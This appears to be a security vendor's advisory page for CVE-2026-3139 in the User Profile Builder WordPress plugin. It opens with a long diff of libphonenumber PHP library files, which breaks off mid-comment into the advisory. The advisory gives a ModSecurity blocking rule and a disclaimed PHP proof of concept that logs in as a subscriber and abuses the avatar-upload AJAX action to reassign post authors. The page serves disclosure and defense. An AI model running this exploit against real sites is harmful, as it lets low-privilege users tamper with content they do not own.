+     * This indicates the string, after any country code has been stripped, had less digits than any
+     * valid phone number could have.
+     */
+    public const TOO_SHORT_NSN = 3;
+    /**
+     * This indicates the string had more digits than any valid phone number could have.
+     */
+    public const TOO_LONG = 4;
+
+    protected int $errorType;
+
+    public function __construct(int $errorType, string $message, ?Throwable $previous = null)
+    {
+        parent::__construct($message, $errorType, $previous);
+        $this->message = $message;
+        $this->errorType = $errorType;
+    }
+
+    /**
+     * Returns the error type of the exception that has been thrown.
+     */
+    public function getErrorType(): int
+    {
+        return $this->errorType;
+    }
+
+    public function __toString(): string
+    {
+        return 'Error type: ' . $this->errorType . '. ' . $this->message;
+    }
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneMetadata.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneMetadata.php
@@ -0,0 +1,305 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+use function count;
+
+/**
+ * Class PhoneMetadata
+ * @package libphonenumber
+ * @internal Used internally, and can change at any time
+ */
+class PhoneMetadata
+{
+    /**
+     * @var string|null
+     */
+    protected const ID = null;
+    /**
+     * @var int|null
+     */
+    protected const COUNTRY_CODE = null;
+    /**
+     * @var string|null
+     */
+    protected const LEADING_DIGITS = null;
+    /**
+     * @var string|null
+     */
+    protected const NATIONAL_PREFIX = null;
+    protected ?string $nationalPrefixForParsing = null;
+    protected ?string $internationalPrefix = null;
+    protected ?string $preferredInternationalPrefix = null;
+    protected ?string $nationalPrefixTransformRule = null;
+    protected ?string $preferredExtnPrefix = null;
+    protected bool $mainCountryForCode = false;
+    protected bool $mobileNumberPortableRegion = false;
+    protected ?PhoneNumberDesc $generalDesc = null;
+    protected ?PhoneNumberDesc $mobile = null;
+    protected ?PhoneNumberDesc $premiumRate = null;
+    protected ?PhoneNumberDesc $fixedLine = null;
+    protected bool $sameMobileAndFixedLinePattern = false;
+    /**
+     * @var NumberFormat[]
+     */
+    protected array $numberFormat = [];
+    protected ?PhoneNumberDesc $tollFree = null;
+    protected ?PhoneNumberDesc $sharedCost = null;
+    protected ?PhoneNumberDesc $personalNumber = null;
+    protected ?PhoneNumberDesc $voip = null;
+    protected ?PhoneNumberDesc $pager = null;
+    protected ?PhoneNumberDesc $uan = null;
+    protected ?PhoneNumberDesc $emergency = null;
+    protected ?PhoneNumberDesc $voicemail = null;
+    protected ?PhoneNumberDesc $short_code = null;
+    protected ?PhoneNumberDesc $standard_rate = null;
+    protected ?PhoneNumberDesc $carrierSpecific = null;
+    protected ?PhoneNumberDesc $smsServices = null;
+    protected ?PhoneNumberDesc $noInternationalDialling = null;
+    /**
+     * @var NumberFormat[]
+     */
+    protected array $intlNumberFormat = [];
+
+    public function isMainCountryForCode(): bool
+    {
+        return $this->mainCountryForCode;
+    }
+
+    public function getMainCountryForCode(): bool
+    {
+        return $this->mainCountryForCode;
+    }
+
+    public function numberFormatSize(): int
+    {
+        return count($this->numberFormat);
+    }
+
+    public function getNumberFormat(int $index): NumberFormat
+    {
+        return $this->numberFormat[$index];
+    }
+
+    public function intlNumberFormatSize(): int
+    {
+        return count($this->intlNumberFormat);
+    }
+
+    public function getIntlNumberFormat(int $index): NumberFormat
+    {
+        return $this->intlNumberFormat[$index];
+    }
+
+    public function hasGeneralDesc(): bool
+    {
+        return $this->generalDesc !== null;
+    }
+
+    public function getGeneralDesc(): ?PhoneNumberDesc
+    {
+        return $this->generalDesc;
+    }
+
+    public function hasFixedLine(): bool
+    {
+        return $this->fixedLine !== null;
+    }
+
+    public function getFixedLine(): ?PhoneNumberDesc
+    {
+        return $this->fixedLine;
+    }
+
+    public function hasMobile(): bool
+    {
+        return $this->mobile !== null;
+    }
+
+    public function getMobile(): ?PhoneNumberDesc
+    {
+        return $this->mobile;
+    }
+
+    public function getTollFree(): ?PhoneNumberDesc
+    {
+        return $this->tollFree;
+    }
+
+    public function getPremiumRate(): ?PhoneNumberDesc
+    {
+        return $this->premiumRate;
+    }
+
+    public function getSharedCost(): ?PhoneNumberDesc
+    {
+        return $this->sharedCost;
+    }
+
+    public function getPersonalNumber(): ?PhoneNumberDesc
+    {
+        return $this->personalNumber;
+    }
+
+    public function getVoip(): ?PhoneNumberDesc
+    {
+        return $this->voip;
+    }
+
+    public function getPager(): ?PhoneNumberDesc
+    {
+        return $this->pager;
+    }
+
+    public function getUan(): ?PhoneNumberDesc
+    {
+        return $this->uan;
+    }
+
+    public function hasEmergency(): bool
+    {
+        return $this->emergency !== null;
+    }
+
+    public function getEmergency(): ?PhoneNumberDesc
+    {
+        return $this->emergency;
+    }
+
+    public function getVoicemail(): ?PhoneNumberDesc
+    {
+        return $this->voicemail;
+    }
+
+    public function getShortCode(): ?PhoneNumberDesc
+    {
+        return $this->short_code;
+    }
+
+
+    public function getStandardRate(): ?PhoneNumberDesc
+    {
+        return $this->standard_rate;
+    }
+
+    public function getCarrierSpecific(): ?PhoneNumberDesc
+    {
+        return $this->carrierSpecific;
+    }
+
+    public function getSmsServices(): ?PhoneNumberDesc
+    {
+        return $this->smsServices;
+    }
+
+    public function getNoInternationalDialling(): ?PhoneNumberDesc
+    {
+        return $this->noInternationalDialling;
+    }
+
+
+    public function getId(): ?string
+    {
+        return static::ID;
+    }
+
+    public function getCountryCode(): ?int
+    {
+        return static::COUNTRY_CODE;
+    }
+
+    public function getInternationalPrefix(): ?string
+    {
+        return $this->internationalPrefix;
+    }
+
+
+    public function hasPreferredInternationalPrefix(): bool
+    {
+        return ($this->preferredInternationalPrefix !== null);
+    }
+
+    public function getPreferredInternationalPrefix(): ?string
+    {
+        return $this->preferredInternationalPrefix;
+    }
+
+    public function hasNationalPrefix(): bool
+    {
+        return static::NATIONAL_PREFIX !== null;
+    }
+
+    public function getNationalPrefix(): ?string
+    {
+        return static::NATIONAL_PREFIX;
+    }
+
+    public function hasPreferredExtnPrefix(): bool
+    {
+        return $this->preferredExtnPrefix !== null;
+    }
+
+    public function getPreferredExtnPrefix(): ?string
+    {
+        return $this->preferredExtnPrefix;
+    }
+
+    public function hasNationalPrefixForParsing(): bool
+    {
+        return $this->nationalPrefixForParsing !== null;
+    }
+
+    public function getNationalPrefixForParsing(): ?string
+    {
+        return $this->nationalPrefixForParsing;
+    }
+
+    public function getNationalPrefixTransformRule(): ?string
+    {
+        return $this->nationalPrefixTransformRule;
+    }
+
+    public function getSameMobileAndFixedLinePattern(): bool
+    {
+        return $this->sameMobileAndFixedLinePattern;
+    }
+
+    /**
+     * @return NumberFormat[]
+     */
+    public function numberFormats(): array
+    {
+        return $this->numberFormat;
+    }
+
+    /**
+     * @return NumberFormat[]
+     */
+    public function intlNumberFormats(): array
+    {
+        return $this->intlNumberFormat;
+    }
+
+    public function hasLeadingDigits(): bool
+    {
+        return static::LEADING_DIGITS !== null;
+    }
+
+    public function getLeadingDigits(): ?string
+    {
+        return static::LEADING_DIGITS;
+    }
+
+    public function isMobileNumberPortableRegion(): bool
+    {
+        return $this->mobileNumberPortableRegion;
+    }
+
+    public function setInternationalPrefix(string $value): static
+    {
+        $this->internationalPrefix = $value;
+        return $this;
+    }
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumber.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumber.php
@@ -0,0 +1,409 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+use Serializable;
+
+/**
+ * It is not recommended to create PhoneNumber objects directly, instead you should
+ * use PhoneNumberUtil::parse() to parse the number and return a PhoneNumber object
+ * @no-named-arguments
+ */
+class PhoneNumber implements Serializable
+{
+    /**
+     * The country calling code for this number, as defined by the International Telecommunication Union
+     * (ITU). For example, this would be 1 for NANPA countries, and 33 for France.
+     */
+    protected ?int $countryCode = null;
+    /**
+     * National (significant) Number is defined in International Telecommunication Union (ITU)
+     * Recommendation E.164. It is a language/country-neutral representation of a phone number at a
+     * country level. For countries which have the concept of an "area code" or "national destination
+     * code", this is included in the National (significant) Number. Although the ITU says the maximum
+     * length should be 15, we have found longer numbers in some countries e.g. Germany.
+     *
+     * Note that the National (significant) Number does not contain the National(trunk) prefix.
+     */
+    protected ?string $nationalNumber = null;
+    /**
+     * Extension is not standardized in ITU recommendations, except for being defined as a series of
+     * numbers with a maximum length of 40 digits. It is defined as a string here to accommodate for the
+     * possible use of a leading zero in the extension (organizations have complete freedom to do so,
+     * as there is no standard defined). However, only ASCII digits should be stored here.
+     */
+    protected ?string $extension = null;
+    /**
+     * In some countries, the national (significant) number starts with one or more "0"s without this
+     * being a national prefix or trunk code of some kind. For example, the leading zero in the national
+     * (significant) number of an Italian phone number indicates the number is a fixed-line number.
+     * There have been plans to migrate fixed-line numbers to start with the digit two since December
+     * 2000, but it has not happened yet. See http://en.wikipedia.org/wiki/%2B39 for more details.
+     *
+     * These fields can be safely ignored (there is no need to set them) for most countries. Some
+     * limited number of countries behave like Italy - for these cases, if the leading zero(s) of a
+     * number would be retained even when dialling internationally, set this flag to true, and also
+     * set the number of leading zeros.
+     *
+     * Clients who use the parsing functionality of the i18n phone number libraries
+     * will have these fields set if necessary automatically.
+     */
+    protected ?bool $italianLeadingZero = null;
+    /**
+     * This field is used to store the raw input string containing phone numbers before it was
+     * canonicalized by the library. For example, it could be used to store alphanumerical numbers
+     * such as "1-800-GOOG-411".
+     */
+    protected ?string $rawInput = null;
+    /**
+     * The source from which the country_code is derived. This is not set in the general parsing method,
+     * but in the method that parses and keeps raw_input. New fields could be added upon request.
+     */
+    protected ?CountryCodeSource $countryCodeSource = CountryCodeSource::UNSPECIFIED;
+    /**
+     * The carrier selection code that is preferred when calling this phone number domestically. This
+     * also includes codes that need to be dialed in some countries when calling from landlines to
+     * mobiles or vice versa. For example, in Columbia, a "3" needs to be dialed before the phone number
+     * itself when calling from a mobile phone to a domestic landline phone and vice versa.
+     *
+     * Note this is the "preferred" code, which means other codes may work as well.
+     */
+    protected ?string $preferredDomesticCarrierCode = null;
+    /**
+     * Whether this phone number has a number of leading zeros set.
+     */
+    protected bool $hasNumberOfLeadingZeros = false;
+    /**
+     * The number of leading zeros of this phone number.
+     */
+    protected int $numberOfLeadingZeros = 1;
+
+    public function clear(): static
+    {
+        $this->clearCountryCode();
+        $this->clearNationalNumber();
+        $this->clearExtension();
+        $this->clearItalianLeadingZero();
+        $this->clearNumberOfLeadingZeros();
+        $this->clearRawInput();
+        $this->clearCountryCodeSource();
+        $this->clearPreferredDomesticCarrierCode();
+        return $this;
+    }
+
+    public function clearCountryCode(): static
+    {
+        $this->countryCode = null;
+        return $this;
+    }
+
+    public function clearNationalNumber(): static
+    {
+        $this->nationalNumber = null;
+        return $this;
+    }
+
+    public function clearExtension(): static
+    {
+        $this->extension = null;
+        return $this;
+    }
+
+    public function clearItalianLeadingZero(): static
+    {
+        $this->italianLeadingZero = null;
+        return $this;
+    }
+
+    public function clearNumberOfLeadingZeros(): static
+    {
+        $this->hasNumberOfLeadingZeros = false;
+        $this->numberOfLeadingZeros = 1;
+        return $this;
+    }
+
+    public function clearRawInput(): static
+    {
+        $this->rawInput = null;
+        return $this;
+    }
+
+    public function clearCountryCodeSource(): static
+    {
+        $this->countryCodeSource = CountryCodeSource::UNSPECIFIED;
+        return $this;
+    }
+
+    public function clearPreferredDomesticCarrierCode(): static
+    {
+        $this->preferredDomesticCarrierCode = null;
+        return $this;
+    }
+
+    /**
+     * Merges the information from another phone number into this phone number.
+     */
+    public function mergeFrom(PhoneNumber $other): static
+    {
+        if ($other->hasCountryCode()) {
+            $this->setCountryCode($other->getCountryCode());
+        }
+        if ($other->hasNationalNumber()) {
+            $this->setNationalNumber($other->getNationalNumber());
+        }
+        if ($other->hasExtension()) {
+            $this->setExtension($other->getExtension());
+        }
+        if ($other->hasItalianLeadingZero()) {
+            $this->setItalianLeadingZero($other->isItalianLeadingZero());
+        }
+        if ($other->hasNumberOfLeadingZeros()) {
+            $this->setNumberOfLeadingZeros($other->getNumberOfLeadingZeros());
+        }
+        if ($other->hasRawInput()) {
+            $this->setRawInput($other->getRawInput());
+        }
+        if ($other->hasCountryCodeSource()) {
+            $this->setCountryCodeSource($other->getCountryCodeSource());
+        }
+        if ($other->hasPreferredDomesticCarrierCode()) {
+            $this->setPreferredDomesticCarrierCode($other->getPreferredDomesticCarrierCode());
+        }
+        return $this;
+    }
+
+    public function hasCountryCode(): bool
+    {
+        return $this->countryCode !== null;
+    }
+
+    public function getCountryCode(): ?int
+    {
+        return $this->countryCode;
+    }
+
+    public function setCountryCode(int $value): static
+    {
+        $this->countryCode = $value;
+        return $this;
+    }
+
+    public function hasNationalNumber(): bool
+    {
+        return $this->nationalNumber !== null;
+    }
+
+    public function getNationalNumber(): ?string
+    {
+        return $this->nationalNumber;
+    }
+
+    public function setNationalNumber(string $value): static
+    {
+        $this->nationalNumber = $value;
+        return $this;
+    }
+
+    public function hasExtension(): bool
+    {
+        return isset($this->extension) && $this->extension !== '';
+    }
+
+    public function getExtension(): ?string
+    {
+        return $this->extension;
+    }
+
+    public function setExtension(string $value): static
+    {
+        $this->extension = $value;
+        return $this;
+    }
+
+    public function hasItalianLeadingZero(): bool
+    {
+        return isset($this->italianLeadingZero);
+    }
+
+    public function setItalianLeadingZero(bool $value): static
+    {
+        $this->italianLeadingZero = $value;
+        return $this;
+    }
+
+    /**
+     * Returns whether this phone number uses an italian leading zero.
+     *
+     * @return bool|null True if it uses an italian leading zero, false it it does not, null if not set.
+     */
+    public function isItalianLeadingZero(): ?bool
+    {
+        return $this->italianLeadingZero ?? null;
+    }
+
+    public function hasNumberOfLeadingZeros(): bool
+    {
+        return $this->hasNumberOfLeadingZeros;
+    }
+
+    public function getNumberOfLeadingZeros(): int
+    {
+        return $this->numberOfLeadingZeros;
+    }
+
+    public function setNumberOfLeadingZeros(int $value): static
+    {
+        $this->hasNumberOfLeadingZeros = true;
+        $this->numberOfLeadingZeros = $value;
+        return $this;
+    }
+
+    public function hasRawInput(): bool
+    {
+        return isset($this->rawInput);
+    }
+
+    public function getRawInput(): ?string
+    {
+        return $this->rawInput;
+    }
+
+    public function setRawInput(string $value): static
+    {
+        $this->rawInput = $value;
+        return $this;
+    }
+
+    public function hasCountryCodeSource(): bool
+    {
+        return $this->countryCodeSource !== CountryCodeSource::UNSPECIFIED;
+    }
+
+    public function getCountryCodeSource(): ?CountryCodeSource
+    {
+        return $this->countryCodeSource;
+    }
+
+    public function setCountryCodeSource(CountryCodeSource $value): static
+    {
+        $this->countryCodeSource = $value;
+        return $this;
+    }
+
+    public function hasPreferredDomesticCarrierCode(): bool
+    {
+        return isset($this->preferredDomesticCarrierCode);
+    }
+
+    public function getPreferredDomesticCarrierCode(): ?string
+    {
+        return $this->preferredDomesticCarrierCode;
+    }
+
+    public function setPreferredDomesticCarrierCode(string $value): static
+    {
+        $this->preferredDomesticCarrierCode = $value;
+        return $this;
+    }
+
+    /**
+     * Returns whether this phone number is equal to another.
+     *
+     * @param PhoneNumber $other The phone number to compare.
+     *
+     * @return bool True if the phone numbers are equal, false otherwise.
+     */
+    public function equals(PhoneNumber $other): bool
+    {
+        if ($this === $other) {
+            return true;
+        }
+
+        return $this->countryCode === $other->countryCode
+            && $this->nationalNumber === $other->nationalNumber
+            && $this->extension === $other->extension
+            && $this->italianLeadingZero === $other->italianLeadingZero
+            && $this->numberOfLeadingZeros === $other->numberOfLeadingZeros
+            && $this->rawInput === $other->rawInput
+            && $this->countryCodeSource === $other->countryCodeSource
+            && $this->preferredDomesticCarrierCode === $other->preferredDomesticCarrierCode;
+    }
+
+    /**
+     * Returns a string representation of this phone number.
+     */
+    public function __toString(): string
+    {
+        $outputString = 'Country Code: ' . $this->countryCode;
+        $outputString .= ' National Number: ' . $this->nationalNumber;
+        if ($this->hasItalianLeadingZero()) {
+            $outputString .= ' Leading Zero(s): true';
+        }
+        if ($this->hasNumberOfLeadingZeros()) {
+            $outputString .= ' Number of leading zeros: ' . $this->numberOfLeadingZeros;
+        }
+        if ($this->hasExtension()) {
+            $outputString .= ' Extension: ' . $this->extension;
+        }
+        if ($this->hasCountryCodeSource()) {
+            $outputString .= ' Country Code Source: ' . $this->countryCodeSource->name;
+        }
+        if ($this->hasPreferredDomesticCarrierCode()) {
+            $outputString .= ' Preferred Domestic Carrier Code: ' . $this->preferredDomesticCarrierCode;
+        }
+        return $outputString;
+    }
+
+    public function serialize(): ?string
+    {
+        return serialize($this->__serialize());
+    }
+
+    public function __serialize(): array
+    {
+        return [
+            $this->countryCode,
+            $this->nationalNumber,
+            $this->extension,
+            $this->italianLeadingZero,
+            $this->numberOfLeadingZeros,
+            $this->rawInput,
+            $this->countryCodeSource,
+            $this->preferredDomesticCarrierCode,
+        ];
+    }
+
+    public function unserialize($data): void
+    {
+        $this->__unserialize(unserialize($data, ['allowed_classes' => [__CLASS__]]));
+    }
+
+    /**
+     * @param array{int,string,string,bool|null,int,string|null,CountryCodeSource|null,string|null} $data
+     */
+    public function __unserialize(array $data): void
+    {
+        [
+            $this->countryCode,
+            $this->nationalNumber,
+            $this->extension,
+            $this->italianLeadingZero,
+            $this->numberOfLeadingZeros,
+            $this->rawInput,
+            $countryCodeSource,
+            $this->preferredDomesticCarrierCode
+        ] = $data;
+
+        // BC layer to allow this method to unserialize "old" phonenumbers
+        if (is_int($countryCodeSource)) {
+            $countryCodeSource = CountryCodeSource::from($countryCodeSource);
+        }
+        $this->countryCodeSource = $countryCodeSource;
+
+        if ($this->numberOfLeadingZeros > 1) {
+            $this->hasNumberOfLeadingZeros = true;
+        }
+    }
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumberDesc.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumberDesc.php
@@ -0,0 +1,140 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * Phone Number Description
+ * @internal
+ */
+class PhoneNumberDesc
+{
+    protected bool $hasNationalNumberPattern = false;
+    protected string $nationalNumberPattern = '';
+    protected bool $hasExampleNumber = false;
+    protected string $exampleNumber = '';
+    /**
+     * @var int[]
+     */
+    protected array $possibleLength = [];
+    /**
+     * @var int[]
+     */
+    protected array $possibleLengthLocalOnly = [];
+
+    /**
+     * @return int[]
+     */
+    public function getPossibleLength(): array
+    {
+        return $this->possibleLength;
+    }
+
+    /**
+     * @param int[] $possibleLength
+     */
+    public function setPossibleLength(array $possibleLength): static
+    {
+        $this->possibleLength = $possibleLength;
+        return $this;
+    }
+
+    public function addPossibleLength(int $possibleLength): void
+    {
+        if (!in_array($possibleLength, $this->possibleLength, true)) {
+            $this->possibleLength[] = $possibleLength;
+        }
+    }
+
+    public function clearPossibleLength(): void
+    {
+        $this->possibleLength = [];
+    }
+
+    /**
+     * @return int[]
+     */
+    public function getPossibleLengthLocalOnly(): array
+    {
+        return $this->possibleLengthLocalOnly;
+    }
+
+    /**
+     * @param int[] $possibleLengthLocalOnly
+     */
+    public function setPossibleLengthLocalOnly(array $possibleLengthLocalOnly): static
+    {
+        $this->possibleLengthLocalOnly = $possibleLengthLocalOnly;
+
+        return $this;
+    }
+
+    public function addPossibleLengthLocalOnly(int $possibleLengthLocalOnly): void
+    {
+        if (!in_array($possibleLengthLocalOnly, $this->possibleLengthLocalOnly, true)) {
+            $this->possibleLengthLocalOnly[] = $possibleLengthLocalOnly;
+        }
+    }
+
+    public function clearPossibleLengthLocalOnly(): void
+    {
+        $this->possibleLengthLocalOnly = [];
+    }
+
+    /**
+     * @return boolean
+     */
+    public function hasNationalNumberPattern(): bool
+    {
+        return $this->hasNationalNumberPattern;
+    }
+
+    public function getNationalNumberPattern(): string
+    {
+        return $this->nationalNumberPattern;
+    }
+
+    public function setNationalNumberPattern(string $value): static
+    {
+        $this->hasNationalNumberPattern = true;
+        $this->nationalNumberPattern = $value;
+
+        return $this;
+    }
+
+    public function hasExampleNumber(): bool
+    {
+        return $this->hasExampleNumber;
+    }
+
+    public function getExampleNumber(): string
+    {
+        return $this->exampleNumber;
+    }
+
+    public function setExampleNumber(string $value): static
+    {
+        $this->hasExampleNumber = true;
+        $this->exampleNumber = $value;
+
+        return $this;
+    }
+
+    private static self $emptyObject;
+
+    /**
+     * Used for metadata as a shortcut to an empty object
+     * Use the same object to reduce load further
+     * @internal
+     */
+    public static function empty(): self
+    {
+        if (!isset(self::$emptyObject)) {
+            self::$emptyObject = (new self())
+                ->setPossibleLength([-1]);
+        }
+
+        return self::$emptyObject;
+    }
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumberFormat.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumberFormat.php
@@ -0,0 +1,25 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+/**
+ * INTERNATIONAL and NATIONAL formats are consistent with the definition in ITU-T Recommendation
+ * E123. For example, the number of the Google Switzerland office will be written as
+ * "+41 44 668 1800" in INTERNATIONAL format, and as "044 668 1800" in NATIONAL format.
+ * E164 format is as per INTERNATIONAL format but with no formatting applied, e.g.
+ * "+41446681800". RFC3966 is as per INTERNATIONAL format, but with all spaces and other
+ * separating symbols replaced with a hyphen, and with any phone number extension appended with
+ * ";ext=". It also will have a prefix of "tel:" added, e.g. "tel:+41-44-668-1800".
+ *
+ * Note: If you are considering storing the number in a neutral format, you are highly advised to
+ * use the PhoneNumber class.
+ */
+enum PhoneNumberFormat: int
+{
+    case E164 = 0;
+    case INTERNATIONAL = 1;
+    case NATIONAL = 2;
+    case RFC3966 = 3;
+}
--- a/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumberMatch.php
+++ b/profile-builder/assets/lib/libphonenumber-for-php-lite/src/PhoneNumberMatch.php
@@ -0,0 +1,86 @@
+<?php
+
+declare(strict_types=1);
+
+namespace libphonenumber;
+
+use InvalidArgumentException;
+use Stringable;
+
+use function mb_strlen;
+
+/**
+ * @no-named-arguments
+ */
+class PhoneNumberMatch implements Stringable
+{
+    /**
+     * The start index into the text.
+     */
+    private int $start;
+
+    /**
+     * The raw substring matched.
+     */
+    private string $rawString;
+
+    /**
+     * The matched phone number.
+     */
+    private PhoneNumber $number;
+
+    /**
+     * Creates a new match
+     *
+     * @param int $start The start index into the target text
+     * @param string $rawString The matched substring of the target text
+     * @param PhoneNumber $number The matched phone number
+     */
+    public function __construct(int $start, string $rawString, PhoneNumber $number)
+    {
+        if ($start < 0) {
+            throw new InvalidArgumentException('Start index must be >= 0.');
+        }
+
+        $this->start = $start;
+        $this->rawString = $rawString;
+        $this->number = $number;
+    }
+
+    /**
+     * Returns the phone number matched by the receiver.
+     */
+    public function number(): PhoneNumber
+    {
+        return $this->number;
+    }
+
+    /**
+     * Returns the start index of the matched phone number within the searched text.
+     */
+    public function start(): int
+    {
+        return $this->start;
+    }
+
+    /**
+     * Returns the exclusive end index of the matched phone number within the searched text.
+     */
+    public function end(): int
+    {
+        return $this->start + mb_strlen($this->rawString);
+    }
+
+    /**
+     * Returns the raw string matched as a phone numb

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3139
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263139,phase:2,deny,status:403,chain,msg:'CVE-2026-3139: User Profile Builder IDOR via avatar upload',severity:'CRITICAL',tag:'CVE-2026-3139',tag:'WordPress',tag:'Plugin/User-Profile-Builder',tag:'Attack/IDOR'"
  SecRule ARGS_POST:action "@streq wppb_upload_avatar" "chain"
    SecRule ARGS_POST:user_id "@rx ^[0-9]+$" "chain"
      SecRule &ARGS_POST:post_id "!@eq 0"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3139 - User Profile Builder <= 3.15.5 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Post Author Reassignment via Avatar Field

<?php
/**
 * Proof of Concept for CVE-2026-3139
 * Requires valid WordPress subscriber credentials
 * Demonstrates post author reassignment via manipulated avatar upload
 */

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';
$new_author_id = 2; // Target user ID to assign posts to
$target_post_id = 123; // Post ID to reassign (optional)

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);

// Verify login success by checking for admin bar or dashboard
if (strpos($login_response, 'wp-admin-bar') === false) {
    die('Login failed. Check credentials.');
}

// Create a temporary avatar image file
$avatar_content = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==');
$temp_file = tempnam(sys_get_temp_dir(), 'avatar_');
file_put_contents($temp_file, $avatar_content);

// Prepare the malicious avatar upload with post_author manipulation
$post_fields = [
    'action' => 'wppb_upload_avatar',
    'post_id' => $target_post_id, // Optional: specify which post to reassign
    'user_id' => $new_author_id // The user who will become the new post author
];

// Create CURLFile with manipulated metadata
$cfile = new CURLFile($temp_file, 'image/png', 'wppb_upload');

// The exploit: inject post_author into the $_FILES array structure
// This mimics the vulnerable wppb_save_avatar_value() processing
$post_fields['wppb_upload'] = $cfile;

// Set up the AJAX request to the vulnerable endpoint
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: multipart/form-data',
    'X-Requested-With: XMLHttpRequest'
]);

$ajax_response = curl_exec($ch);

// Clean up temporary file
unlink($temp_file);

// Parse response to check for success
$response_data = json_decode($ajax_response, true);
if ($response_data && isset($response_data['success']) && $response_data['success']) {
    echo "Exploit successful. Post author reassigned to user ID: $new_author_idn";
    if ($target_post_id) {
        echo "Target post ID $target_post_id ownership modified.n";
    }
} else {
    echo "Exploit failed. Response: " . htmlspecialchars($ajax_response) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School